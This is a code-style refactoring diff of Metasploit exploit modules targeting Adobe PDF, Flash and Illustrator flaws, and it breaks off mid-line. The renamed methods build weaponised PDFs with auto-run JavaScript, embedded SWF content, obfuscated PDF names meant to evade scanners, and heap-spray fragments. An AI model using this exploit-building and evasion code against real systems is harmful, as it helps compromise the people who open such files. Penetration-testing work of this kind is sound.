io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -276,7 +276,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -297,35 +297,35 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # Randomize PDF version? pdf = "%PDF-1.5" << eol - #pdf << "%" << RandomNonASCIIString(4) << eol + #pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog") - pdf << nObfu("/Pages ") << ioRef(3) - pdf << nObfu("/OpenAction ") << ioRef(5) - pdf << nObfu(">>") + pdf << io_def(1) << n_obfu("<</Type/Catalog") + pdf << n_obfu("/Pages ") << io_ref(3) + pdf << n_obfu("/OpenAction ") << io_ref(5) + pdf << n_obfu(">>") pdf << eol << endobj # pages array xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj # page 1 xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) - pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ") - pdf << nObfu(">>") + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) + pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ") + pdf << n_obfu(">>") pdf << eol << endobj # js action xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -333,74 +333,74 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # swf annotation object xref << pdf.length - pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia") - pdf << nObfu("/Rect [20 20 187 69] ") - pdf << nObfu("/RichMediaSettings ") << ioRef(8) - pdf << nObfu("/RichMediaContent ") << ioRef(9) - pdf << nObfu("/NM (") << swf_name << nObfu(")") - pdf << nObfu(">>") + pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia") + pdf << n_obfu("/Rect [20 20 187 69] ") + pdf << n_obfu("/RichMediaSettings ") << io_ref(8) + pdf << n_obfu("/RichMediaContent ") << io_ref(9) + pdf << n_obfu("/NM (") << swf_name << n_obfu(")") + pdf << n_obfu(">>") pdf << eol << endobj # rich media settings xref << pdf.length - pdf << ioDef(8) - pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash") - pdf << nObfu("/Activation ") << ioRef(10) - pdf << nObfu("/Deactivation ") << ioRef(11) - pdf << nObfu(">>") + pdf << io_def(8) + pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash") + pdf << n_obfu("/Activation ") << io_ref(10) + pdf << n_obfu("/Deactivation ") << io_ref(11) + pdf << n_obfu(">>") pdf << eol << endobj # rich media content xref << pdf.length - pdf << ioDef(9) - pdf << nObfu("<</Type/RichMediaContent") - pdf << nObfu("/Assets ") << ioRef(12) - pdf << nObfu("/Configurations [") << ioRef(14) << "]" - pdf << nObfu(">>") + pdf << io_def(9) + pdf << n_obfu("<</Type/RichMediaContent") + pdf << n_obfu("/Assets ") << io_ref(12) + pdf << n_obfu("/Configurations [") << io_ref(14) << "]" + pdf << n_obfu(">>") pdf << eol << endobj # rich media activation / deactivation xref << pdf.length - pdf << ioDef(10) - pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>") + pdf << io_def(10) + pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(11) - pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>") + pdf << io_def(11) + pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>") pdf << eol << endobj # rich media assets xref << pdf.length - pdf << ioDef(12) - pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>") + pdf << io_def(12) + pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>") pdf << eol << endobj # swf embeded file ref xref << pdf.length - pdf << ioDef(13) - pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>") + pdf << io_def(13) + pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>") pdf << eol << endobj # rich media configuration xref << pdf.length - pdf << ioDef(14) - pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash") - pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>") + pdf << io_def(14) + pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash") + pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>") pdf << eol << endobj # rich media isntance xref << pdf.length - pdf << ioDef(15) - pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash") - pdf << nObfu("/Asset ") << ioRef(13) - pdf << nObfu(">>") + pdf << io_def(15) + pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash") + pdf << n_obfu("/Asset ") << io_ref(13) + pdf << n_obfu(">>") pdf << eol << endobj # swf stream # NOTE: This data is already compressed, no need to compress it again... xref << pdf.length - pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol + pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol pdf << "stream" << eol pdf << swf << eol pdf << "endstream" << eol @@ -416,7 +416,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index 04e50a9234..f1435ffe44 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -241,7 +241,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -249,17 +249,17 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -272,7 +272,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -293,35 +293,35 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # Randomize PDF version? pdf = "%PDF-1.5" << eol - #pdf << "%" << RandomNonASCIIString(4) << eol + #pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog") - pdf << nObfu("/Pages ") << ioRef(3) - pdf << nObfu("/OpenAction ") << ioRef(5) - pdf << nObfu(">>") + pdf << io_def(1) << n_obfu("<</Type/Catalog") + pdf << n_obfu("/Pages ") << io_ref(3) + pdf << n_obfu("/OpenAction ") << io_ref(5) + pdf << n_obfu(">>") pdf << eol << endobj # pages array xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj # page 1 xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) - pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ") - pdf << nObfu(">>") + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) + pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ") + pdf << n_obfu(">>") pdf << eol << endobj # js action xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -329,74 +329,74 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # swf annotation object xref << pdf.length - pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia") - pdf << nObfu("/Rect [20 20 187 69] ") - pdf << nObfu("/RichMediaSettings ") << ioRef(8) - pdf << nObfu("/RichMediaContent ") << ioRef(9) - pdf << nObfu("/NM (") << swf_name << nObfu(")") - pdf << nObfu(">>") + pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia") + pdf << n_obfu("/Rect [20 20 187 69] ") + pdf << n_obfu("/RichMediaSettings ") << io_ref(8) + pdf << n_obfu("/RichMediaContent ") << io_ref(9) + pdf << n_obfu("/NM (") << swf_name << n_obfu(")") + pdf << n_obfu(">>") pdf << eol << endobj # rich media settings xref << pdf.length - pdf << ioDef(8) - pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash") - pdf << nObfu("/Activation ") << ioRef(10) - pdf << nObfu("/Deactivation ") << ioRef(11) - pdf << nObfu(">>") + pdf << io_def(8) + pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash") + pdf << n_obfu("/Activation ") << io_ref(10) + pdf << n_obfu("/Deactivation ") << io_ref(11) + pdf << n_obfu(">>") pdf << eol << endobj # rich media content xref << pdf.length - pdf << ioDef(9) - pdf << nObfu("<</Type/RichMediaContent") - pdf << nObfu("/Assets ") << ioRef(12) - pdf << nObfu("/Configurations [") << ioRef(14) << "]" - pdf << nObfu(">>") + pdf << io_def(9) + pdf << n_obfu("<</Type/RichMediaContent") + pdf << n_obfu("/Assets ") << io_ref(12) + pdf << n_obfu("/Configurations [") << io_ref(14) << "]" + pdf << n_obfu(">>") pdf << eol << endobj # rich media activation / deactivation xref << pdf.length - pdf << ioDef(10) - pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>") + pdf << io_def(10) + pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(11) - pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>") + pdf << io_def(11) + pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>") pdf << eol << endobj # rich media assets xref << pdf.length - pdf << ioDef(12) - pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>") + pdf << io_def(12) + pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>") pdf << eol << endobj # swf embeded file ref xref << pdf.length - pdf << ioDef(13) - pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>") + pdf << io_def(13) + pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>") pdf << eol << endobj # rich media configuration xref << pdf.length - pdf << ioDef(14) - pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash") - pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>") + pdf << io_def(14) + pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash") + pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>") pdf << eol << endobj # rich media isntance xref << pdf.length - pdf << ioDef(15) - pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash") - pdf << nObfu("/Asset ") << ioRef(13) - pdf << nObfu(">>") + pdf << io_def(15) + pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash") + pdf << n_obfu("/Asset ") << io_ref(13) + pdf << n_obfu(">>") pdf << eol << endobj # swf stream # NOTE: This data is already compressed, no need to compress it again... xref << pdf.length - pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol + pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol pdf << "stream" << eol pdf << swf << eol pdf << "endstream" << eol @@ -412,7 +412,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index 0c410514b2..c74472bc16 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -109,7 +109,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -117,17 +117,17 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -140,7 +140,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -179,30 +179,30 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) - pdf << nObfu("/Pages ") << ioRef(3) - pdf << nObfu("/OpenAction ") << ioRef(5) + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) + pdf << n_obfu("/Pages ") << io_ref(3) + pdf << n_obfu("/OpenAction ") << io_ref(5) pdf << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7) - pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7) + pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -213,9 +213,9 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } compressed = Zlib::Deflate.deflate(data) xref << pdf.length - pdf << ioDef(7) << nObfu("<</DecodeParms") - pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) - pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length) + pdf << io_def(7) << n_obfu("<</DecodeParms") + pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) + pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length) pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -228,7 +228,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index fd0926f7be..d67d68d24f 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create the pdf #pdf = make_pdf(script) - pdf = CreatePDF(script) + pdf = create_pdf(script) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index 4b564d8b7d..e16f6b2551 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index 94844555a8..8cd59d4307 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote file_create(pdf) end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -136,16 +136,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -181,32 +181,32 @@ class Metasploit3 < Msf::Exploit::Remote endobj = "endobj" << eol pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj + pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj + pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj + pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj + pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj + pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level - pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level + pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol + pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol xref << pdf.length compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression - pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol + pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol + pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index 859224987a..2a1bd72bf5 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -109,17 +109,17 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj\r\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -132,7 +132,7 @@ class Metasploit3 < Msf::Exploit::Remote end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -150,46 +150,46 @@ class Metasploit3 < Msf::Exploit::Remote endobj = "endobj" << eol pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << nObfu("/Type /EmbeddedFile>>") << eol + pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol pdf << "stream" << eol pdf << xml_data << eol pdf << eol << "endstream" << eol pdf << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</V () /Kids [") << ioRef(3) << nObfu("] /T (") << "topmostSubform[0]" << nObfu(") >>") << eol << endobj + pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Parent ") << ioRef(2) << nObfu(" /Kids [") << ioRef(4) << nObfu("] /T (") << "Page1[0]" << nObfu(")>>") + pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << ioRef(5) - pdf << nObfu("/FT /Btn/TU (") << "ImageField1" << nObfu(")/Ff 65536/Parent ") << ioRef(3) - pdf << nObfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << nObfu(")/Rect [107.385 705.147 188.385 709.087]>>") + pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5) + pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3) + pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ") - pdf << ioRef(6) << nObfu("/Type /Page/PieceInfo null>>") + 